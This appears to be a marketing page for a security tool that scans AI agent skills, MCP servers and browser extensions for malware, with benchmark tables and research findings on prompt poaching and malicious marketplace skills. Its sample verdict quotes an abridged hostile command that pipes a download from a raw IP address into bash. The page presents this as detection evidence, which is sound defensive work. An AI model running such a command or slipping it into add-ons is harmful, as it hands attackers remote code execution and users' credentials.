Security for AI add-ons

Know which AI add-ons are safe to run.

Verdicts with evidence for agent skills, MCP servers, plugins and browser extensions. Checked before install, and again on every update.

verdict · clawhub skill "auto-updater"malicious
Claims to be
A daily auto-updater for the agent and its skills, with a "required" provider to install first
Actually does
remote codeuntrusted egressobfuscation
Evidence
curl http://91.92.242.30/… | bashdecoded from base64 at runtime in the sandbox
Linked to
47 other skills calling the same server
Decision
block
Real sample from a public ClawHub malware dataset. Abridged.
Evaluated on public data from MalSkillBenchClawHubOfficial MCP RegistrynpmPyPIChrome Web StoreFirefox Add-onsOpenVSX
Why now

AI add-ons run with the user's keys, and attackers have noticed.

Skills · 2026

Malware in agent marketplaces

The ClawHavoc campaign seeded ClawHub with skills whose setup step installs an infostealer. A USENIX Security 2026 study confirmed 157 malicious skills among 98,380.

USENIX Security 2026 study
Updates · 2026

Trusted add-ons turn bad later

Researchers showed that a malicious update to an agent hook compromised all seven agent tools they tested, and endpoint antivirus detected none.

HookPry, arXiv 2026
Extensions · 2025–26

Prompt poaching

Browser extensions with millions of users were caught collecting what people type into ChatGPT, Claude and Gemini, with targeting delivered from a server.

The Hacker News, Jan 2026
Results

The fewest false alarms of any tool tested, at the highest F1.

Scanners that catch most attacks also flag 15 to 36% of safe add-ons, which teams end up ignoring. PoachTrap keeps false alarms under 1%.

ToolPrecisionRecallF1False alarms
PoachTrap0.9940.8340.9070.48%
getsentry (LLM)0.8000.9850.88323.6%
AI-Infra-Guard0.8420.8670.85515.5%
Cisco (LLM)0.7080.9230.80136.3%
Snyk agent-scan0.9200.2890.4402.4%
VirusTotal1.0000.2130.3510.0%

MalSkillBench held-out test split: 1,980 malicious and 2,074 safe skills, run once. 12 published tools re-scored on the same samples; top results shown.

25,930

real packages scanned, including every npm and PyPI package in the official MCP registry

91.6%

of 73,881 real updates allowed automatically; the rest come with the capability that changed

97.3%

of malicious skills still caught after being rewritten to openly declare their harm

Research

Findings

extensionNov 2026

Prompt poaching, confirmed in a sandbox

StayFocusd, a website blocker with about 600,000 users, downloaded a server-side list of seven AI assistants and uploaded links from a fake AI answer, tagged with a conversation ID. Secure Annex had reported it in January; PoachTrap confirmed it without reading the code. Across 14 other popular extensions it raised no false alarm.

skillsNov 2026

48 skills, one command server

Detonating a public set of ClawHub malware showed 48 differently branded skills calling the same server, hidden behind base64 and decoy domains. We recovered the cluster from behaviour alone; Trend Micro had attributed it to ClawHavoc.

methodNov 2026

Declaring the harm doesn't help the attacker

PoachTrap judges harm against an add-on's stated purpose. We attacked that directly by rewriting 150 malicious skills to disclose what they do. 97.3% were still caught, with no new false alarms.

IDE extensionsNov 2026

A copied extension that called home for four years

Across 1,878 OpenVSX extensions, the registry behind Cursor and Windsurf, none was falsely judged malicious. Comparing each copy with the extension it was copied from found one that has contacted an outside server on every editor start since 2022. Reported to Open VSX.

How it works

Read it, run it, judge it, gate its updates.

01 · Read

Map capabilities

Finds what the code can do: reach secrets, call out, fetch remote code, persist, hide instructions. Dangerous combinations count, not single signals.

02 · Run

Detonate with bait

Runs it in a sealed container with fake credentials. Extensions run in real Chrome against fake AI chats; anything carrying bait is blocked and recorded.

03 · Judge

Compare to the claim

Asks whether it does more than its stated purpose. Every verdict must quote evidence from the files.

04 · Gate

Check each update

Compares what the new version can do with the old one: allow, review or block.

Plugs in as a verdict API by hash, an update gate and OCSF findings for the SIEM. About $0.0007 per AI judgment; each version is judged once.

Limits

What it doesn't catch yet

Attacks on what the agent says

Skills that hijack the agent's persona or slant its answers are caught 42 to 57% of the time, because they change words rather than actions.

Harvesters behind consent screens

Two of three reported prompt poachers stayed silent in short sandbox runs. Reading their code still flags all three.

macOS-only payloads

The sandbox runs Linux, so Mac-only payloads are flagged from the code but not executed.

Pilot

Test it on the add-ons your users already run.

  1. Send 100 to 500 extension IDs and 50 to 200 agent components from your telemetry. No user data.
  2. Within a week, get a verdict, evidence and capabilities for each, plus update decisions across recent versions.
  3. Judge it on criteria agreed up front, including at least one finding you didn't already have.
Contact

Siddharth Gupta

The paper, code and full results are shared under NDA.